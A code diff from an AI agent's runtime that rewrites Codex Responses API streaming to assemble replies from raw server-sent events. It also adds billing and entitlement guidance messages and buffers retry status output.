                 reasoning_parts.append(reasoning_text)
@@ -965,7 +1085,19 @@ def _normalize_codex_response(response: Any) -> tuple[Any, str]:
             encrypted = getattr(item, "encrypted_content", None)
             if isinstance(encrypted, str) and encrypted:
                 raw_item = {"type": "reasoning", "encrypted_content": encrypted}
+                # Stamp the issuer so future turns can detect when a
+                # model swap moved the conversation to an endpoint that
+                # cannot decrypt this blob — see _chat_messages_to_responses_input
+                # cross-issuer guard.
+                if issuer_kind:
+                    raw_item["_issuer_kind"] = issuer_kind
                 item_id = getattr(item, "id", None)
+                if isinstance(item_id, str) and item_id.startswith("rs_tmp_"):
+                    logger.debug(
+                        "Skipping transient Codex reasoning item during normalization: %s",
+                        item_id,
+                    )
+                    continue
                 if isinstance(item_id, str) and item_id:
                     raw_item["id"] = item_id
                 # Capture summary — required by the API when replaying reasoning items
@@ -1076,13 +1208,13 @@ def _normalize_codex_response(response: Any) -> tuple[Any, str]:
         finish_reason = "incomplete"
     elif has_incomplete_items or (saw_commentary_phase and not saw_final_answer_phase):
         finish_reason = "incomplete"
-    elif reasoning_items_raw and not final_text:
-        # Response contains only reasoning (encrypted thinking state) with
-        # no visible content or tool calls.  The model is still thinking and
-        # needs another turn to produce the actual answer.  Marking this as
-        # "stop" would send it into the empty-content retry loop which burns
-        # 3 retries then fails — treat it as incomplete instead so the Codex
-        # continuation path handles it correctly.
+    elif (reasoning_items_raw or reasoning_parts or saw_reasoning_item) and not final_text:
+        # Response contains only reasoning (encrypted thinking state and/or
+        # human-readable summary) with no visible content or tool calls. The
+        # model is still thinking and needs another turn to produce the actual
+        # answer. Marking this as "stop" would send it into the empty-content
+        # retry loop which burns retries then fails — treat it as incomplete so
+        # the Codex continuation path handles it correctly.
         finish_reason = "incomplete"
     else:
         finish_reason = "stop"

agent/codex_runtime.py

@@ -174,281 +174,363 @@ def run_codex_app_server_turn(
     }
 
 
+# ---------------------------------------------------------------------------
+# Event-driven Responses streaming
+#
+# OpenAI ships its consumer Codex backend (chatgpt.com/backend-api/codex) on
+# a different schedule from the openai Python SDK.  The high-level
+# ``client.responses.stream(...)`` helper reconstructs a typed Response from
+# the terminal ``response.completed`` event's ``response.output`` field, and
+# when that field drifts to ``null`` (gpt-5.5, May 2026) the SDK raises
+# ``TypeError: 'NoneType' object is not iterable`` mid-iteration.
+#
+# We sidestep the whole class of failure by going one level lower:
+# ``client.responses.create(stream=True)`` returns the raw AsyncIterable of
+# SSE events, and we assemble the final response object purely from
+# ``response.output_item.done`` events as they arrive.  We never read
+# ``response.completed.response.output`` for content reconstruction, so the
+# backend can return ``null``, ``[]``, a string, or omit the field entirely
+# and we don't care.
+#
+# This mirrors what the OpenClaw TS implementation does for the same backend
+# and is structurally immune to the bug class rather than patched.
+# ---------------------------------------------------------------------------
 
 
-def run_codex_stream(agent, api_kwargs: dict, client: Any = None, on_first_delta: callable = None):
-    """Execute one streaming Responses API request and return the final response."""
+_TERMINAL_EVENT_TYPES = frozenset({
+    "response.completed",
+    "response.incomplete",
+    "response.failed",
+})
+
+
+def _event_field(event: Any, name: str, default: Any = None) -> Any:
+    """Field access that handles both attr-style (SDK objects) and dict (raw JSON) events."""
+    value = getattr(event, name, None)
+    if value is None and isinstance(event, dict):
+        value = event.get(name, default)
+    return value if value is not None else default
+
+
+def _raise_stream_error(event: Any) -> None:
+    """Raise a ``_StreamErrorEvent`` from a ``type=error`` SSE frame.
+
+    Imported lazily so this module stays importable from places that don't
+    pull in ``run_agent`` (e.g. plugin code, doc tools).
+    """
+    from run_agent import _StreamErrorEvent
+    message = (_event_field(event, "message", "") or "stream emitted error event").strip()
+    raise _StreamErrorEvent(
+        message,
+        code=_event_field(event, "code"),
+        param=_event_field(event, "param"),
+    )
+
+
+def _consume_codex_event_stream(
+    event_iter: Any,
+    *,
+    model: str,
+    on_text_delta=None,
+    on_reasoning_delta=None,
+    on_first_delta=None,
+    on_event=None,
+    interrupt_check=None,
+) -> SimpleNamespace:
+    """Consume a Codex Responses SSE event stream and return a final response.
+
+    The returned object is a ``SimpleNamespace`` shaped like the SDK's typed
+    ``Response`` for the fields downstream code actually reads:
+
+    * ``output``: list of output items, assembled from ``response.output_item.done``.
+      For tool-call turns this contains the function_call items; for plain-text
+      turns it contains a synthesized ``message`` item built from streamed deltas
+      if no message item was emitted directly.
+    * ``output_text``: assembled text from ``response.output_text.delta`` deltas.
+    * ``usage``: copied from the terminal event's ``response.usage`` (when present).
+    * ``status``: ``completed`` / ``incomplete`` / ``failed`` (or ``completed`` if
+      the stream ended without a terminal frame but produced content).
+    * ``id``: ``response.id`` when present.
+    * ``incomplete_details``: passed through for ``response.incomplete`` frames.
+    * ``error``: passed through for ``response.failed`` frames.
+    * ``model``: from kwargs (the wire model name is not authoritative).
+
+    Critically, we never read ``response.output`` from the terminal event for
+    content reconstruction — only ``usage``, ``status``, ``id``.  That field
+    being ``null`` / ``[]`` / missing is fine.
+
+    Callbacks:
+
+    * ``on_text_delta(str)`` — fires per ``response.output_text.delta``, suppressed
+      once a function_call event is seen (so tool-call turns don't bleed text
+      into the chat).
+    * ``on_reasoning_delta(str)`` — fires per ``response.reasoning.*.delta``.
+    * ``on_first_delta()`` — one-shot, fires on the first text delta only.
+    * ``on_event(event)`` — fires for every event before any other processing.
+      Used for watchdog activity, debug logging, anything wire-shape-agnostic.
+    * ``interrupt_check()`` — returns True to break the loop early.
+    """
+    collected_output_items: List[Any] = []
+    collected_text_deltas: List[str] = []
+    has_tool_calls = False
+    first_delta_fired = False
+    terminal_status: str = "completed"
+    terminal_usage: Any = None
+    terminal_response_id: str = None
+    terminal_incomplete_details: Any = None
+    terminal_error: Any = None
+    saw_terminal = False
+
+    for event in event_iter:
+        if on_event is not None:
+            try:
+                on_event(event)
+            except (TimeoutError, InterruptedError):
+                # Control-flow signals from watchdog/cancellation hooks must
+                # propagate, not get swallowed as "debug noise".
+                raise
+            except Exception:
+                # Genuine bugs in third-party debug/log hooks shouldn't break
+                # stream consumption.
+                logger.debug("Codex stream on_event hook raised", exc_info=True)
+        if interrupt_check is not None and interrupt_check():
+            break
+
+        event_type = _event_field(event, "type", "")
+        if not isinstance(event_type, str):
+            event_type = ""
+
+        # ``error`` SSE frames carry the provider's real failure reason
+        # (subscription / quota / model-not-available / rejected-reasoning-replay)
+        # but never appear in the terminal set.  Surface them as a structured
+        # exception so the credential pool + error classifier see the body.
+        if event_type == "error":
+            _raise_stream_error(event)
+
+        if "output_text.delta" in event_type or event_type == "response.output_text.delta":
+            delta_text = _event_field(event, "delta", "")
+            if delta_text:
+                collected_text_deltas.append(delta_text)
+                if not has_tool_calls:
+                    if not first_delta_fired:
+                        first_delta_fired = True
+                        if on_first_delta is not None:
+                            try:
+                                on_first_delta()
+                            except Exception:
+                                logger.debug("Codex stream on_first_delta raised", exc_info=True)
+                    if on_text_delta is not None:
+                        try:
+                            on_text_delta(delta_text)
+                        except Exception:
+                            logger.debug("Codex stream on_text_delta raised", exc_info=True)
+            continue
+
+        if "function_call" in event_type:
+            has_tool_calls = True
+            # fall through — function_call items still get added on output_item.done
+
+        if "reasoning" in event_type and "delta" in event_type:
+            reasoning_text = _event_field(event, "delta", "")
+            if reasoning_text and on_reasoning_delta is not None:
+                try:
+                    on_reasoning_delta(reasoning_text)
+                except Exception:
+                    logger.debug("Codex stream on_reasoning_delta raised", exc_info=True)
+            continue
+
+        if event_type == "response.output_item.done":
+            done_item = _event_field(event, "item")
+            if done_item is not None:
+                collected_output_items.append(done_item)
+            continue
+
+        if event_type in _TERMINAL_EVENT_TYPES:
+            saw_terminal = True
+            resp_obj = _event_field(event, "response")
+            if resp_obj is not None:
+                terminal_usage = getattr(resp_obj, "usage", None)
+                if terminal_usage is None and isinstance(resp_obj, dict):
+                    terminal_usage = resp_obj.get("usage")
+                rid = getattr(resp_obj, "id", None)
+                if rid is None and isinstance(resp_obj, dict):
+                    rid = resp_obj.get("id")
+                terminal_response_id = rid
+                rstatus = getattr(resp_obj, "status", None)
+                if rstatus is None and isinstance(resp_obj, dict):
+                    rstatus = resp_obj.get("status")
+                if isinstance(rstatus, str):
+                    terminal_status = rstatus
+                if event_type == "response.incomplete":
+                    terminal_incomplete_details = getattr(resp_obj, "incomplete_details", None)
+                    if terminal_incomplete_details is None and isinstance(resp_obj, dict):
+                        terminal_incomplete_details = resp_obj.get("incomplete_details")
+                if event_type == "response.failed":
+                    terminal_error = getattr(resp_obj, "error", None)
+                    if terminal_error is None and isinstance(resp_obj, dict):
+                        terminal_error = resp_obj.get("error")
+            if event_type == "response.completed":
+                terminal_status = terminal_status or "completed"
+            elif event_type == "response.incomplete":
+                terminal_status = terminal_status or "incomplete"
+            elif event_type == "response.failed":
+                terminal_status = terminal_status or "failed"
+            # Stop on terminal event.
+            break
+
+    # Build the final output list.  Prefer items observed via output_item.done;
+    # if none arrived but we streamed plain text deltas (no tool calls), synthesize
+    # a single message item so downstream normalization has something to work with.
+    if collected_output_items:
+        output = list(collected_output_items)
+    elif collected_text_deltas and not has_tool_calls:
+        assembled = "".join(collected_text_deltas)
+        output = [SimpleNamespace(
+            type="message",
+            role="assistant",
+            status="completed",
+            content=[SimpleNamespace(type="output_text", text=assembled)],
+        )]
+    else:
+        output = []
+
+    # If the stream ended without any terminal event AND produced no usable
+    # content (no items, no text deltas), surface that as a RuntimeError so
+    # callers can distinguish "stream truncated mid-flight / provider rejected
+    # the call" from "stream completed with empty body".  This preserves the
+    # signal the SDK's high-level helper used to raise as
+    # ``RuntimeError("Didn't receive a `response.completed` event.")``.
+    if not saw_terminal and not output:
+        raise RuntimeError(
+            "Codex Responses stream did not emit a terminal response"
+        )
+
+    assembled_text = "".join(collected_text_deltas)
+
+    final = SimpleNamespace(
+        output=output,
+        output_text=assembled_text,
+        usage=terminal_usage,
+        status=terminal_status,
+        id=terminal_response_id,
+        model=model,
+        incomplete_details=terminal_incomplete_details,
+        error=terminal_error,
+    )
+    return final
+
+
+def run_codex_stream(agent, api_kwargs: dict, client: Any = None, on_first_delta=None):
+    """Execute one streaming Responses API request and return the final response.
+
+    Uses ``responses.create(stream=True)`` (low-level raw event iteration)
+    rather than the high-level ``responses.stream(...)`` helper.  This makes
+    us structurally immune to backend drift in the ``response.completed``
+    payload shape — we never let the SDK reconstruct a typed object from
+    the terminal event's ``output`` field.
+    """
     import httpx as _httpx
 
     active_client = client or agent._ensure_primary_openai_client(reason="codex_stream_direct")
     max_stream_retries = 1
-    has_tool_calls = False
-    first_delta_fired = False
-    # Accumulate streamed text so we can recover if get_final_response()
-    # returns empty output (e.g. chatgpt.com backend-api sends
-    # response.incomplete instead of response.completed).
+    # Accumulate streamed text so callers / compat shims can read it.
     agent._codex_streamed_text_parts: list = []
+
+    def _on_text_delta(text: str) -> None:
+        agent._codex_streamed_text_parts.append(text)
+        agent._fire_stream_delta(text)
+
+    def _on_reasoning_delta(text: str) -> None:
+        agent._fire_reasoning_delta(text)
+
+    def _on_event(event: Any) -> None:
+        # TTFB watchdog and activity touch — runs once per SSE event.
+        agent._codex_stream_last_event_ts = time.time()
+        agent._touch_activity("receiving stream response")
+
+    def _interrupt_check() -> bool:
+        return bool(agent._interrupt_requested)
+
     for attempt in range(max_stream_retries + 1):
         if agent._interrupt_requested:
             raise InterruptedError("Agent interrupted before Codex stream retry")
-        collected_output_items: list = []
+
+        stream_kwargs = dict(api_kwargs)
+        stream_kwargs["stream"] = True
+
         try:
-            with active_client.responses.stream(**api_kwargs) as stream:
-                for event in stream:
-                    # Mark stream activity for the TTFB watchdog in
-                    # interruptible_api_call. The Codex backend can accept the
-                    # connection but never emit a single event; this timestamp
-                    # staying None tells the watchdog no bytes are flowing.
-                    agent._codex_stream_last_event_ts = time.time()
-                    agent._touch_activity("receiving stream response")
-                    if agent._interrupt_requested:
-                        break
-                    event_type = getattr(event, "type", "")
-                    # Fire callbacks on text content deltas (suppress during tool calls)
-                    if "output_text.delta" in event_type or event_type == "response.output_text.delta":
-                        delta_text = getattr(event, "delta", "")
-                        if delta_text:
-                            agent._codex_streamed_text_parts.append(delta_text)
-                        if delta_text and not has_tool_calls:
-                            if not first_delta_fired:
-                                first_delta_fired = True
-                                if on_first_delta:
-                                    try:
-                                        on_first_delta()
-                                    except Exception:
-                                        pass
-                            agent._fire_stream_delta(delta_text)
-                    # Track tool calls to suppress text streaming
-                    elif "function_call" in event_type:
-                        has_tool_calls = True
-                    # Fire reasoning callbacks
-                    elif "reasoning" in event_type and "delta" in event_type:
-                        reasoning_text = getattr(event, "delta", "")
-                        if reasoning_text:
-                            agent._fire_reasoning_delta(reasoning_text)
-                    # Collect completed output items — some backends
-                    # (chatgpt.com/backend-api/codex) stream valid items
-                    # via response.output_item.done but the SDK's
-                    # get_final_response() returns an empty output list.
-                    elif event_type == "response.output_item.done":
-                        done_item = getattr(event, "item", None)
-                        if done_item is not None:
-                            collected_output_items.append(done_item)
-                    # Log non-completed terminal events for diagnostics
-                    elif event_type in {"response.incomplete", "response.failed"}:
-                        resp_obj = getattr(event, "response", None)
-                        status = getattr(resp_obj, "status", None) if resp_obj else None
-                        incomplete_details = getattr(resp_obj, "incomplete_details", None) if resp_obj else None
-                        logger.warning(
-                            "Codex Responses stream received terminal event %s "
-                            "(status=%s, incomplete_details=%s, streamed_chars=%d). %s",
-                            event_type, status, incomplete_details,
-                            sum(len(p) for p in agent._codex_streamed_text_parts),
-                            agent._client_log_context(),
-                        )
-                final_response = stream.get_final_response()
-                # PATCH: ChatGPT Codex backend streams valid output items
-                # but get_final_response() can return an empty output list.
-                # Backfill from collected items or synthesize from deltas.
-                _out = getattr(final_response, "output", None)
-                if isinstance(_out, list) and not _out:
-                    if collected_output_items:
-                        final_response.output = list(collected_output_items)
-                        logger.debug(
-                            "Codex stream: backfilled %d output items from stream events",
-                            len(collected_output_items),
-                        )
-                    elif agent._codex_streamed_text_parts and not has_tool_calls:
-                        assembled = "".join(agent._codex_streamed_text_parts)
-                        final_response.output = [SimpleNamespace(
-                            type="message",
-                            role="assistant",
-                            status="completed",
-                            content=[SimpleNamespace(type="output_text", text=assembled)],
-                        )]
-                        logger.debug(
-                            "Codex stream: synthesized output from %d text deltas (%d chars)",
-                            len(agent._codex_streamed_text_parts), len(assembled),
-                        )
-                return final_response
+            event_stream = active_client.responses.create(**stream_kwargs)
         except (_httpx.RemoteProtocolError, _httpx.ReadTimeout, _httpx.ConnectError, ConnectionError) as exc:
             if attempt < max_stream_retries:
                 logger.debug(
-                    "Codex Responses stream transport failed (attempt %s/%s); retrying. %s error=%s",
-                    attempt + 1,
-                    max_stream_retries + 1,
-                    agent._client_log_context(),
-                    exc,
+                    "Codex Responses stream connect failed (attempt %s/%s); retrying. %s error=%s",
+                    attempt + 1, max_stream_retries + 1,
+                    agent._client_log_context(), exc,
                 )
                 continue
-            logger.debug(
-                "Codex Responses stream transport failed; falling back to create(stream=True). %s error=%s",
-                agent._client_log_context(),
-                exc,
-            )
-            return agent._run_codex_create_stream_fallback(api_kwargs, client=active_client)
-        except RuntimeError as exc:
-            err_text = str(exc)
-            missing_completed = "response.completed" in err_text
-            # The OpenAI SDK's Responses streaming state machine raises
-            # ``RuntimeError("Expected to have received `response.created`
-            # before `<event-type>`")`` when the first SSE event from the
-            # server is anything other than ``response.created`` — and it
-            # discards the event's payload before we can read it.  Three
-            # real-world backends emit a different first frame:
-            #
-            #   * xAI on grok-4.x OAuth — sends ``error`` (issues
-            #     reported around the May 2026 SuperGrok rollout when
-            #     multi-turn conversations replay encrypted reasoning
-            #     content the OAuth tier rejects)
-            #   * codex-lb relays — send ``codex.rate_limits`` (#14634)
-            #   * custom Responses relays — send ``response.in_progress``
-            #     (#8133)
-            #
-            # In all three cases the underlying byte stream is still
-            # readable: a non-stream ``responses.create(stream=True)``
-            # fallback succeeds and surfaces the real provider error as
-            # a normal exception with body+status_code attached, which
-            # ``_summarize_api_error`` can then translate into a useful
-            # user-facing line.  Treat ``response.created`` prelude
-            # errors the same way we already treat ``response.completed``
-            # postlude errors.
-            prelude_error = (
-                "Expected to have received `response.created`" in err_text
-                or "Expected to have received \"response.created\"" in err_text
-            )
-            if (missing_completed or prelude_error) and attempt < max_stream_retries:
-                logger.debug(
-                    "Responses stream %s (attempt %s/%s); retrying. %s",
-                    "prelude rejected" if prelude_error else "closed before completion",
-                    attempt + 1,
-                    max_stream_retries + 1,
-                    agent._client_log_context(),
-                )
-                continue
-            if missing_completed or prelude_error:
-                logger.debug(
-                    "Responses stream %s; falling back to create(stream=True). %s err=%s",
-                    "rejected before response.created" if prelude_error else "did not emit response.completed",
-                    agent._client_log_context(),
-                    err_text,
-                )
-                return agent._run_codex_create_stream_fallback(api_kwargs, client=active_client)
             raise
 
+        try:
+            # Compatibility: some mocks/providers return a concrete response
+            # instead of an iterable.  Pass it straight through.
+            if hasattr(event_stream, "output") and not hasattr(event_stream, "__iter__"):
+                return event_stream
+
+            try:
+                final = _consume_codex_event_stream(
+                    event_stream,
+                    model=api_kwargs.get("model"),
+                    on_text_delta=_on_text_delta,
+                    on_reasoning_delta=_on_reasoning_delta,
+                    on_first_delta=on_first_delta,
+                    on_event=_on_event,
+                    interrupt_check=_interrupt_check,
+                )
+            except (_httpx.RemoteProtocolError, _httpx.ReadTimeout, _httpx.ConnectError, ConnectionError) as exc:
+                if attempt < max_stream_retries:
+                    logger.debug(
+                        "Codex Responses stream transport failed mid-iteration "
+                        "(attempt %s/%s); retrying. %s error=%s",
+                        attempt + 1, max_stream_retries + 1,
+                        agent._client_log_context(), exc,
+                    )
+                    continue
+                raise
+
+            if final.status in {"incomplete", "failed"}:
+                logger.warning(
+                    "Codex Responses stream terminal status=%s "
+                    "(incomplete_details=%s, error=%s, streamed_chars=%d). %s",
+                    final.status, final.incomplete_details, final.error,
+                    sum(len(p) for p in agent._codex_streamed_text_parts),
+                    agent._client_log_context(),
+                )
+
+            return final
+        finally:
+            close_fn = getattr(event_stream, "close", None)
+            if callable(close_fn):
+                try:
+                    close_fn()
+                except Exception:
+                    pass
 
 
 def run_codex_create_stream_fallback(agent, api_kwargs: dict, client: Any = None):
-    """Fallback path for stream completion edge cases on Codex-style Responses backends."""
-    active_client = client or agent._ensure_primary_openai_client(reason="codex_create_stream_fallback")
-    fallback_kwargs = dict(api_kwargs)
-    fallback_kwargs["stream"] = True
-    fallback_kwargs = agent._get_transport().preflight_kwargs(fallback_kwargs, allow_stream=True)
-    stream_or_response = active_client.responses.create(**fallback_kwargs)
-
-    # Compatibility shim for mocks or providers that still return a concrete response.
-    if hasattr(stream_or_response, "output"):
-        return stream_or_response
-    if not hasattr(stream_or_response, "__iter__"):
-        return stream_or_response
-
-    terminal_response = None
-    collected_output_items: list = []
-    collected_text_deltas: list = []
-    try:
-        for event in stream_or_response:
-            agent._touch_activity("receiving stream response")
-            event_type = getattr(event, "type", None)
-            if not event_type and isinstance(event, dict):
-                event_type = event.get("type")
-
-            # ``error`` SSE frames carry the provider's real failure
-            # reason (subscription / quota / model-not-available /
-            # rejected-reasoning-replay) but never appear in the
-            # ``{completed, incomplete, failed}`` terminal set, so the
-            # raw loop below would silently consume them and end with
-            # "did not emit a terminal response".  xAI in particular
-            # emits ``type=error`` as the FIRST frame for OAuth
-            # accounts whose Grok subscription is missing/exhausted —
-            # the SDK's stream helper raises ``RuntimeError(Expected
-            # to have received response.created before error)`` which
-            # the caller catches and routes here, expecting this
-            # fallback to surface the message.  Synthesize an
-            # APIError-shaped exception so ``_summarize_api_error``
-            # and the credential-pool entitlement detector see the
-            # real text instead of a generic RuntimeError.
-            if event_type == "error":
-                err_message = getattr(event, "message", None)
-                if not err_message and isinstance(event, dict):
-                    err_message = event.get("message")
-                err_code = getattr(event, "code", None)
-                if not err_code and isinstance(event, dict):
-                    err_code = event.get("code")
-                err_param = getattr(event, "param", None)
-                if not err_param and isinstance(event, dict):
-                    err_param = event.get("param")
-                err_message = (err_message or "stream emitted error event").strip()
-                from run_agent import _StreamErrorEvent
-                raise _StreamErrorEvent(err_message, code=err_code, param=err_param)
-
-            # Collect output items and text deltas for backfill
-            if event_type == "response.output_item.done":
-                done_item = getattr(event, "item", None)
-                if done_item is None and isinstance(event, dict):
-                    done_item = event.get("item")
-                if done_item is not None:
-                    collected_output_items.append(done_item)
-            elif event_type in {"response.output_text.delta",}:
-                delta = getattr(event, "delta", "")
-                if not delta and isinstance(event, dict):
-                    delta = event.get("delta", "")
-                if delta:
-                    collected_text_deltas.append(delta)
-
-            if event_type not in {"response.completed", "response.incomplete", "response.failed"}:
-                continue
-
-            terminal_response = getattr(event, "response", None)
-            if terminal_response is None and isinstance(event, dict):
-                terminal_response = event.get("response")
-            if terminal_response is not None:
-                # Backfill empty output from collected stream events
-                _out = getattr(terminal_response, "output", None)
-                if isinstance(_out, list) and not _out:
-                    if collected_output_items:
-                        terminal_response.output = list(collected_output_items)
-                        logger.debug(
-                            "Codex fallback stream: backfilled %d output items",
-                            len(collected_output_items),
-                        )
-                    elif collected_text_deltas:
-                        assembled = "".join(collected_text_deltas)
-                        terminal_response.output = [SimpleNamespace(
-                            type="message", role="assistant",
-                            status="completed",
-                            content=[SimpleNamespace(type="output_text", text=assembled)],
-                        )]
-                        logger.debug(
-                            "Codex fallback stream: synthesized from %d deltas (%d chars)",
-                            len(collected_text_deltas), len(assembled),
-                        )
-                return terminal_response
-    finally:
-        close_fn = getattr(stream_or_response, "close", None)
-        if callable(close_fn):
-            try:
-                close_fn()
-            except Exception:
-                pass
-
-    if terminal_response is not None:
-        return terminal_response
-    raise RuntimeError("Responses create(stream=True) fallback did not emit a terminal response.")
+    """Backward-compatible alias for the unified event-driven path.
 
+    Historically this was the fallback when the SDK's high-level
+    ``responses.stream(...)`` helper raised on shape drift.  The primary
+    path now does exactly what the fallback did, so this just forwards.
+    Kept as a public symbol because tests and a small number of call sites
+    still reference it by name.
+    """
+    return run_codex_stream(agent, api_kwargs, client=client)
 
 
 __all__ = [
     "run_codex_app_server_turn",
     "run_codex_stream",
     "run_codex_create_stream_fallback",
+    "_consume_codex_event_stream",
 ]

agent/context_engine.py

@@ -71,7 +71,12 @@ class ContextEngine(ABC):
     def update_from_response(self, usage: Dict[str, Any]) -> None:
         """Update tracked token usage from an API response.
 
-        Called after every LLM call with the usage dict from the response.
+        Called after every LLM call with a normalized usage dict. The legacy
+        keys ``prompt_tokens``, ``completion_tokens``, and ``total_tokens``
+        are always present. Newer hosts also include canonical buckets:
+        ``input_tokens``, ``output_tokens``, ``cache_read_tokens``,
+        ``cache_write_tokens``, and ``reasoning_tokens``. Engines should
+        treat those fields as optional for compatibility with older hosts.
         """
 
     @abstractmethod

agent/conversation_compression.py

@@ -421,6 +421,7 @@ def compress_context(
                 agent.session_id or "",
                 boundary_reason="compression",
                 old_session_id=_old_sid,
+                conversation_id=getattr(agent, "_gateway_session_key", None),
             )
     except Exception as _ce_err:
         logger.debug("context engine on_session_start (compression): %s", _ce_err)

agent/conversation_loop.py

@@ -49,9 +49,8 @@ from agent.model_metadata import (
     MINIMUM_CONTEXT_LENGTH,
     estimate_messages_tokens_rough,
     estimate_request_tokens_rough,
-    get_next_probe_tier,
+    get_context_length_from_provider_error,
     parse_available_output_tokens_from_error,
-    parse_context_limit_from_error,
     save_context_length,
 )
 from agent.nous_rate_guard import (
@@ -127,6 +126,106 @@ def _ra():
     return run_agent
 
 
+def _nous_entitlement_message(capability: str) -> str:
+    try:
+        from hermes_cli.nous_account import (
+            format_nous_portal_entitlement_message,
+            get_nous_portal_account_info,
+        )
+
+        account_info = get_nous_portal_account_info(force_fresh=True)
+        message = format_nous_portal_entitlement_message(
+            account_info,
+            capability=capability,
+        )
+        return message or ""
+    except Exception:
+        return ""
+
+
+def _print_nous_entitlement_guidance(agent, capability: str) -> bool:
+    message = _nous_entitlement_message(capability)
+    if not message:
+        return False
+    for line in message.splitlines():
+        agent._vprint(f"{agent.log_prefix}   💡 {line}", force=True)
+    return True
+
+
+def _is_nous_inference_route(provider: str, base_url: str) -> bool:
+    provider = (provider or "").strip().lower()
+    if provider == "nous":
+        return True
+    base = str(base_url or "")
+    return (
+        base_url_host_matches(base, "inference-api.nousresearch.com")
+        or base_url_host_matches(base, "inference.nousresearch.com")
+    )
+
+
+def _billing_or_entitlement_message(
+    *,
+    capability: str,
+    provider: str,
+    base_url: str,
+    model: str,
+) -> str:
+    if _is_nous_inference_route(provider, base_url):
+        return _nous_entitlement_message(capability)
+
+    provider_label = (provider or "").strip() or "the selected provider"
+    model_label = (model or "").strip() or "the selected model"
+    lines = [
+        (
+            f"{provider_label} reported that billing, credits, or account "
+            f"entitlement is exhausted for {model_label}."
+        ),
+        "Add credits or update billing with that provider, then retry.",
+    ]
+    if base_url_host_matches(str(base_url or ""), "openrouter.ai"):
+        lines.append("OpenRouter credits: https://openrouter.ai/settings/credits")
+    lines.append("You can switch providers temporarily with /model <model> --provider <provider>.")
+    return "\n".join(lines)
+
+
+def _print_billing_or_entitlement_guidance(
+    agent,
+    *,
+    capability: str,
+    provider: str,
+    base_url: str,
+    model: str,
+) -> bool:
+    message = _billing_or_entitlement_message(
+        capability=capability,
+        provider=provider,
+        base_url=base_url,
+        model=model,
+    )
+    if not message:
+        return False
+    for line in message.splitlines():
+        agent._vprint(f"{agent.log_prefix}   💡 {line}", force=True)
+    return True
+
+
+def _try_refresh_nous_paid_entitlement_credentials(agent) -> bool:
+    """Refresh Nous runtime credentials after a fresh paid-entitlement check."""
+    try:
+        from hermes_cli.auth import NOUS_INFERENCE_AUTH_MODE_LEGACY
+        from hermes_cli.nous_account import get_nous_portal_account_info
+
+        account_info = get_nous_portal_account_info(force_fresh=True)
+        if account_info.paid_service_access is not True:
+            return False
+        return agent._try_refresh_nous_client_credentials(
+            force=False,
+            inference_auth_mode=NOUS_INFERENCE_AUTH_MODE_LEGACY,
+        )
+    except Exception:
+        return False
+
+
 def _restore_or_build_system_prompt(agent, system_message, conversation_history):
     """Restore the cached system prompt from the session DB or build it fresh.
 
@@ -1017,8 +1116,10 @@ def run_conversation(
         codex_auth_retry_attempted=False
         anthropic_auth_retry_attempted=False
         nous_auth_retry_attempted=False
+        nous_paid_entitlement_refresh_attempted=False
         copilot_auth_retry_attempted=False
         thinking_sig_retry_attempted = False
+        invalid_encrypted_content_retry_attempted = False
         image_shrink_retry_attempted = False
         multimodal_tool_content_retry_attempted = False
         oauth_1m_beta_retry_attempted = False
@@ -1049,17 +1150,18 @@ def run_conversation(
                             f"Nous Portal rate limit active — "
                             f"resets in {_fmt_nous_remaining(_nous_remaining)}."
                         )
-                        agent._vprint(
-                            f"{agent.log_prefix}⏳ {_nous_msg} Trying fallback...",
-                            force=True,
+                        agent._buffer_vprint(
+                            f"⏳ {_nous_msg} Trying fallback..."
                         )
-                        agent._emit_status(f"⏳ {_nous_msg}")
+                        agent._buffer_status(f"⏳ {_nous_msg}")
                         if agent._try_activate_fallback():
                             retry_count = 0
                             compression_attempts = 0
                             primary_recovery_attempted = False
                             continue
-                        # No fallback available — return with clear message
+                        # No fallback available — surface buffered context
+                        # so user sees the rate-limit message that led here.
+                        agent._flush_status_buffer()
                         agent._persist_session(messages, conversation_history)
                         return {
                             "final_response": (
@@ -1081,6 +1183,14 @@ def run_conversation(
 
             try:
                 agent._reset_stream_delivery_tracking()
+                # api_messages is built once, before this retry loop, while the
+                # primary provider is active.  A mid-conversation fallback can
+                # switch to a require-side provider (DeepSeek / Kimi / MiMo) that
+                # rejects assistant turns lacking reasoning_content.  Re-apply the
+                # echo-back pad for the *current* provider here (idempotent no-op
+                # unless the active provider needs it) so the fallback request
+                # isn't sent with stale, primary-shaped reasoning fields.
+                agent._reapply_reasoning_echo_for_provider(api_messages)
                 api_kwargs = agent._build_api_kwargs(api_messages)
                 if agent._force_ascii_payload:
                     _sanitize_structure_non_ascii(api_kwargs)
@@ -1274,9 +1384,10 @@ def run_conversation(
                             error_details.append("response.choices is empty")
 
                 if response_invalid:
-                    # Stop spinner before printing error messages
+                    # Stop spinner silently — retry status is now buffered
+                    # and only surfaced if every retry+fallback exhausts.
                     if thinking_spinner:
-                        thinking_spinner.stop("(´;ω;`) oops, retrying...")
+                        thinking_spinner.stop("")
                         thinking_spinner = None
                     if agent.thinking_callback:
                         agent.thinking_callback("")
@@ -1289,7 +1400,7 @@ def run_conversation(
                     # rate-limit symptom.  Switch to fallback immediately
                     # rather than retrying with extended backoff.
                     if agent._fallback_index < len(agent._fallback_chain):
-                        agent._emit_status("⚠️ Empty/malformed response — switching to fallback...")
+                        agent._buffer_status("⚠️ Empty/malformed response — switching to fallback...")
                     if agent._try_activate_fallback():
                         retry_count = 0
                         compression_attempts = 0
@@ -1351,20 +1462,22 @@ def run_conversation(
                     else:
                         _failure_hint = f"response time {api_duration:.1f}s"
 
-                    agent._vprint(f"{agent.log_prefix}⚠️  Invalid API response (attempt {retry_count}/{max_retries}): {', '.join(error_details)}", force=True)
-                    agent._vprint(f"{agent.log_prefix}   🏢 Provider: {provider_name}", force=True)
+                    agent._buffer_vprint(f"⚠️  Invalid API response (attempt {retry_count}/{max_retries}): {', '.join(error_details)}")
+                    agent._buffer_vprint(f"   🏢 Provider: {provider_name}")
                     cleaned_provider_error = agent._clean_error_message(error_msg)
-                    agent._vprint(f"{agent.log_prefix}   📝 Provider message: {cleaned_provider_error}", force=True)
-                    agent._vprint(f"{agent.log_prefix}   ⏱️  {_failure_hint}", force=True)
+                    agent._buffer_vprint(f"   📝 Provider message: {cleaned_provider_error}")
+                    agent._buffer_vprint(f"   ⏱️  {_failure_hint}")
                     
                     if retry_count >= max_retries:
                         # Try fallback before giving up
-                        agent._emit_status(f"⚠️ Max retries ({max_retries}) for invalid responses — trying fallback...")
